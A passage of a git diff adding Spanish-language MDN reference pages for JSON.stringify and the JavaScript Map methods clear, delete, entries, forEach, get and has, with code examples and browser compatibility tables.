+<p>Si un objeto que sera estringificado tiene una propiedad llamada <span style="font-family: consolas,monaco,andale mono,monospace;">toJSON</span> donde su valor es una función, entonces el método <span style="font-family: consolas,monaco,andale mono,monospace;">toJSON</span> modifica el comportamiento de la estringificación JSON: en lugar del objeto que esta siendo serializado, el valor retornado por el método <span style="font-family: consolas,monaco,andale mono,monospace;">toJSON</span> será serializado cuando el mismo sea llamado. Por ejemplo:</p>
+
+<pre class="brush: js">var obj = {
+  foo: 'foo',
+  toJSON: function () {
+    return 'bar';
+  }
+};
+var json = JSON.stringify({x: obj}); // <code>'{"x":"bar"}'</code>.
+</pre>
+
+<h3 id="Example_of_using_JSON.stringify_with_localStorage" name="Example_of_using_JSON.stringify_with_localStorage">Ejemplo de como usar <code>JSON.stringify()</code> con <code>localStorage</code></h3>
+
+<p>En dado caso en el cual se requiera que un objeto creado por el usuario y al cual se le permita ser restaurado incluso cuando el navegador ha sido cerrado, el siguiente ejemplo es un modelo de la aplicabilidad del metodo JSON. stringify().</p>
+
+<div class="warning">
+<p>Las funciones no son un tipo de dato valido por lo cual estas no funcionaran. Algunos objetos como tipo DATE, se convertiran a cadenas de texto despues de ejecutar JSON.parse().</p>
+</div>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// Creando un ejemplo de JSON
+</span><span class="keyword token">var</span> session <span class="operator token">=</span> <span class="punctuation token">{</span>
+  <span class="string token">'screens'</span><span class="punctuation token">:</span> <span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">,</span>
+  <span class="string token">'state'</span><span class="punctuation token">:</span> <span class="keyword token">true</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+session<span class="punctuation token">.</span>screens<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span><span class="punctuation token">{</span> <span class="string token">'name'</span><span class="punctuation token">:</span> <span class="string token">'screenA'</span><span class="punctuation token">,</span> <span class="string token">'width'</span><span class="punctuation token">:</span> <span class="number token">450</span><span class="punctuation token">,</span> <span class="string token">'height'</span><span class="punctuation token">:</span> <span class="number token">250</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+session<span class="punctuation token">.</span>screens<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span><span class="punctuation token">{</span> <span class="string token">'name'</span><span class="punctuation token">:</span> <span class="string token">'screenB'</span><span class="punctuation token">,</span> <span class="string token">'width'</span><span class="punctuation token">:</span> <span class="number token">650</span><span class="punctuation token">,</span> <span class="string token">'height'</span><span class="punctuation token">:</span> <span class="number token">350</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+session<span class="punctuation token">.</span>screens<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span><span class="punctuation token">{</span> <span class="string token">'name'</span><span class="punctuation token">:</span> <span class="string token">'screenC'</span><span class="punctuation token">,</span> <span class="string token">'width'</span><span class="punctuation token">:</span> <span class="number token">750</span><span class="punctuation token">,</span> <span class="string token">'height'</span><span class="punctuation token">:</span> <span class="number token">120</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+session<span class="punctuation token">.</span>screens<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span><span class="punctuation token">{</span> <span class="string token">'name'</span><span class="punctuation token">:</span> <span class="string token">'screenD'</span><span class="punctuation token">,</span> <span class="string token">'width'</span><span class="punctuation token">:</span> <span class="number token">250</span><span class="punctuation token">,</span> <span class="string token">'height'</span><span class="punctuation token">:</span> <span class="number token">60</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+session<span class="punctuation token">.</span>screens<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span><span class="punctuation token">{</span> <span class="string token">'name'</span><span class="punctuation token">:</span> <span class="string token">'screenE'</span><span class="punctuation token">,</span> <span class="string token">'width'</span><span class="punctuation token">:</span> <span class="number token">390</span><span class="punctuation token">,</span> <span class="string token">'height'</span><span class="punctuation token">:</span> <span class="number token">120</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+session<span class="punctuation token">.</span>screens<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span><span class="punctuation token">{</span> <span class="string token">'name'</span><span class="punctuation token">:</span> <span class="string token">'screenF'</span><span class="punctuation token">,</span> <span class="string token">'width'</span><span class="punctuation token">:</span> <span class="number token">1240</span><span class="punctuation token">,</span> <span class="string token">'height'</span><span class="punctuation token">:</span> <span class="number token">650</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Convirte el JSON string con JSON.stringify()
+</span><span class="comment token">// entonces guarda con localStorage con el nombre de la sesión
+</span>localStorage<span class="punctuation token">.</span><span class="function token">setItem<span class="punctuation token">(</span></span><span class="string token">'session'</span><span class="punctuation token">,</span> JSON<span class="punctuation token">.</span><span class="function token">stringify<span class="punctuation token">(</span></span>session<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Ejemplo de como transformar el String generado usando
+// JSON.stringify() y guardándolo en localStorage como objeto JSON otra vez
+</span><span class="keyword token">var</span> restoredSession <span class="operator token">=</span> JSON<span class="punctuation token">.</span><span class="function token">parse<span class="punctuation token">(</span></span>localStorage<span class="punctuation token">.</span><span class="function token">getItem<span class="punctuation token">(</span></span><span class="string token">'session'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">
+// Ahora la variable restoredSession contiene el objeto que fue guardado
+// en localStorage
+</span>console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span>restoredSession<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición incial.<br>
+    Implementada en JavaScript 1.7.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.builtins.JSON.stringify")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{JSxRef("JSON.parse()")}}</li>
+ <li><a href="https://github.com/douglascrockford/JSON-js/blob/master/cycle.js">cycle.js</a> – Introduces two functions: <code>JSON.decycle</code> and <code>JSON.retrocycle</code>. These allow encoding and decoding of cyclical structures and DAGs into an extended and retrocompatible JSON format.</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/clear/index.html b/files/es/web/javascript/referencia/objetos_globales/map/clear/index.html
new file mode 100644
index 0000000000..67e8288ad2
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/clear/index.html
@@ -0,0 +1,109 @@
+---
+title: Map.prototype.clear()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/clear
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>clear()</strong></code> elimina todos los elementos de un objeto <code>Map.</code></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.clear();</code></pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_clear">Usando el método <code>clear</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set("bar", "baz");
+myMap.set(1, "foo");
+
+myMap.size;       // 2
+myMap.has("bar"); // true
+
+myMap.clear();
+
+myMap.size;       // 0
+myMap.has("bar")  // false
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico.</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("19.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico.</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/delete/index.html b/files/es/web/javascript/referencia/objetos_globales/map/delete/index.html
new file mode 100644
index 0000000000..cbd6e02a50
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/delete/index.html
@@ -0,0 +1,114 @@
+---
+title: Map.prototype.delete()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/delete
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>delete()</strong></code> elimina el elemento especificado de un objeto <code>Map.</code></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">myMap.delete(clave);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>clave</dt>
+ <dd>Requerido. La clave del elemento a eliminar del objeto <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Retorna <code>true</code> si el elemento existe en el objeto <code>Map</code> objecty fue eliminado, o <code>false</code> si el elemento no existe.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Usando_el_método_delete">Usando el método <code>delete</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set("bar", "foo");
+
+myMap.delete("bar"); // Retorna true. Eliminado con éxito.
+myMap.has("bar");    // Retorna false. El elemento "bar" ya no está presente.
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/entries/index.html b/files/es/web/javascript/referencia/objetos_globales/map/entries/index.html
new file mode 100644
index 0000000000..76a4ca10b7
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/entries/index.html
@@ -0,0 +1,109 @@
+---
+title: Map.prototype.entries()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>entries()</strong></code> retorna un nuevo objeto <code><strong>Iterator</strong></code> que contiene los pares <code>[clave, valor]</code> para cada elemento en el objeto <code>Map</code> en orden de inserción.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.entries()</code></pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_entries()">Usando <code>entries()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set("0", "foo");
+myMap.set(1, "bar");
+myMap.set({}, "baz");
+
+var mapIter = myMap.entries();
+
+console.log(mapIter.next().value); // ["0", "foo"]
+console.log(mapIter.next().value); // [1, "bar"]
+console.log(mapIter.next().value); // [Object, "baz"]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{ CompatGeckoDesktop("20") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico.</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("20")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/foreach/index.html b/files/es/web/javascript/referencia/objetos_globales/map/foreach/index.html
new file mode 100644
index 0000000000..00d8e85ff8
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/foreach/index.html
@@ -0,0 +1,94 @@
+---
+title: Map.prototype.forEach()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/forEach
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>forEach()</strong></code> ejecuta una función por cada par clave / valor en el objeto Map, en orden de inserción.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.forEach(<em>callback</em>[, <em>thisArg</em>])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Función ejecutada en cada elemento.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Valor a usar por la funcion <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>forEach</code> ejecuta la devolución de llamada (<code>callback</code>) proporcionada una vez para cada clave del mapa que realmente exista. No se invoca para las claves que se han eliminado. Sin embargo, se ejecuta para los valores que están presentes pero tienen el valor indefinido (<code>undefined</code>).</p>
+
+<p>La función (<code>callback</code>) es invocada con <strong>3 argumentos</strong>:</p>
+
+<ul>
+ <li><strong>valor del elemento</strong></li>
+ <li><strong>clave del elemento</strong></li>
+ <li><strong>El objeto utilizado</strong></li>
+</ul>
+
+<p>Si se provee un parámetro <code>thisArg</code> al método <code>forEach</code>, pasará al <code>callback</code> cuando sea invocado, para ser utilizado como su valor <code>this</code>. De otra manera, el valor <code>undefined</code> pasará para ser usado como su valor <code>this</code>. El valor <code>this</code> finalmente observable por el <code>callback</code> se determina de acuerdo a <a href="/es/docs/Web/JavaScript/Referencia/Operadores/this">las reglas usuales para determinar la visibilidad de <code>this</code> por una función</a>.</p>
+
+<p>Cada valor es usado una vez, excepto en este caso cuando es eliminado y agregado de nuevo antes de que el <code>forEach</code> haya terminado. <code>callback</code> no es invocado para valores eliminados antes de que sean usados. </p>
+
+<p>El método <code>forEach</code> ejecuta la función <code>callback</code> una vez para cada elemento en el objeto <code>Map</code>; No se retornan valores.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Imprimiendo_el_contenido_de_un_objeto_Map">Imprimiendo el contenido de un objeto <code>Map</code></h3>
+
+<p>El siguiente código imprime una línea por cada elemento en el objeto <code>Map</code>:</p>
+
+<pre class="brush:js">function logMapElements(value, key, map) {
+    console.log(`m[${key}] = ${value}`);
+}
+new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements);
+// logs:
+// "m[foo] = 3"
+// "m[bar] = [object Object]"
+// "m[baz] = undefined"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.forEach")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/get/index.html b/files/es/web/javascript/referencia/objetos_globales/map/get/index.html
new file mode 100644
index 0000000000..7f53d850e3
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/get/index.html
@@ -0,0 +1,77 @@
+---
+title: Map.prototype.get()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/get
+tags:
+  - JavaScript
+  - Map
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>get()</strong></code> devuelve un elemento específico de un objeto <code>Map</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}</div>
+
+<p class="hidden">El código fuente de este ejemplo se escuentra en un repositorio de GitHub. Si quieres contribuir al projecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envianos una solicitud de pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>miMapa</em>.get(clave);</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt>clave</dt>
+ <dd>Requerido. La clave del elemento del objeto <code>Map</code> que queremos obtener.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Devuelve el elemento asociado a la clave indicada o <code>undefined</code> si la clave no ha sido encontrada en el objeto <code>Map</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_get">Usando el método <code>get</code></h3>
+
+<pre class="brush: js">var miMapa = new Map();
+miMapa.set('bar', 'foo');
+
+miMapa.get('bar');  // Devuelve "foo".
+miMapa.get('baz');  // Devuelve undefined.
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatiblidad_con_navegadores">Compatiblidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatiblidad en esta página es generada desde datos estructurados. Si quieres contribuir a los datos, por favor mira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos una solicitud de pull request.</div>
+
+<p>{{Compat("javascript.builtins.Map.get")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/has/index.html b/files/es/web/javascript/referencia/objetos_globales/map/has/index.html
new file mode 100644
index 0000000000..c556a00dae
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/has/index.html
@@ -0,0 +1,65 @@
+---
+title: Map.prototype.has()
+slug: Web/JavaScript/Referencia/Objetos_globales/Map/has
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/has
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>has()</strong></code> devuelve un booleano indicando si el elemento con la llave especificada existe o no.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><var>myMap</var>.has(<var>key</var>)</pre>
+
+<h3 id="Parameteros">Parameteros</h3>
+
+<dl>
+ <dt><code><var>key</var></code></dt>
+ <dd>La llave del elemento a probar si esta presente en el objeto <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p><code>true</code> si el elemento con la llave especificada existe en el objeto <code>Map</code>; de lo contrario <code>false</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_has">Usando <code>has()</code></h3>
+
+<pre class="brush: js notranslate">let myMap = new Map()
+myMap.set('bar', "foo")
+
+myMap.has('bar')   // returns true
+myMap.has('baz')   // returns false
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.has")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/map/index.html b/files/es/web/javascript/referencia/objetos_globales/map/index.html
new file mode 100644
index 0000000000..e3ad7812b7
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/map/index.html
@@ -0,0 +1,213 @@
+---
+title: Map
+slug: Web/JavaScript/Referencia/Objetos_globales/Map
+tags:
+  - ECMAScript2015
+  - JavaScript
+  - Map
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef("Global_Objects", "Map")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El objeto <strong><code>Map</code></strong> almacena pares clave/valor. Cualquier valor (tanto objetos como {{Glossary("Primitive", "valores primitivos")}}) pueden ser usados como clave o valor.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>new Map([iterable])
+</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Iterable es un array o cualquier otro objeto <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Iteration_protocols">iterable</a> cuyos elementos son pares clave-valor (arrays de 2 elementos). Cada par clave-valor será agregado al nuevo Map.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Un objeto Map puede iterar sobre sus elementos en orden de inserción. Un bucle <code>for..of</code> devolverá un array de <code>[clave, valor]</code> en cada iteración.</p>
+
+<p>Cabe destacar que un <strong>Map </strong>el cual es un mapa de un objeto, especialmente un diccionario de diccionarios, solo se va a mapear en el orden de inserción del objeto — el cual es aleatorio y no ordenado.</p>
+
+<h3 id="Igualdad_de_claves">Igualdad de claves</h3>
+
+<p>La igualdad de claves esta basada en el algoritmo "SameValueZero": <code>NaN</code> es considerado lo mismo que <code>NaN </code>(sin importar que <code>NaN !== NaN</code>) y todos los otros operadores son considerados iguales de acuerdo a la semantica del operador ===. En las primeras versiones de ECMAScript 6 <code>-0</code> y <code>+0</code> eran considarados distintos (even though <code>-0 === +0</code>), esto fue cambiado en posteriores versiones y ha sido implementado en Gecko 29 {{geckoRelease("29")}} ({{bug("952870")}}) and a <a href="https://code.google.com/p/v8/issues/detail?id=3069">recent nightly Chrome</a>.</p>
+
+<h3 id="Objetos_y_mapas_comparados">Objetos y mapas comparados</h3>
+
+<p>Los {{jsxref("Object", "Objetos")}} son similares a los <code>Maps</code> en cuanto a que ambos permiten establecer claves a valores, recuperar dichos valores, eliminar claves, y detectar si existe algo almacenado en una clave determinada. Por esto, los <code>Objects</code> han sido usados históricamente como <code>Maps</code>; no obstante, hay diferencias importantes entre  <code>Objects</code> y <code>Maps</code> que hacen mejor usar un  <code>Map</code>  en la mayoría de casos.</p>
+
+<ul>
+ <li>Las claves de un <code>Object</code> son {{jsxref("String", "Strings")}} y {{jsxref("Symbol", "Symbols")}}, mientras que para un <code>Map</code> pueden ser de cualquier tipo, incluyendo funciones, objetos y cualquier otro tipo primitivo.</li>
+ <li>Puedes saber facilmente el tamaño de un <code>Map</code> usando la propiedad <code>size</code>, mientras que le número de propiedades en un <code>Object</code> tiene que ser deternminado manualmente.</li>
+ <li>Un <code>Map</code> es un <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Iteration_protocols">iterable</a> lo que permite iterar directamente sobre el, mientras que si queremos iterar sobre un <code>Object</code> necesitamos obtener primero las claves de alguna forma para después iterar sobre el.</li>
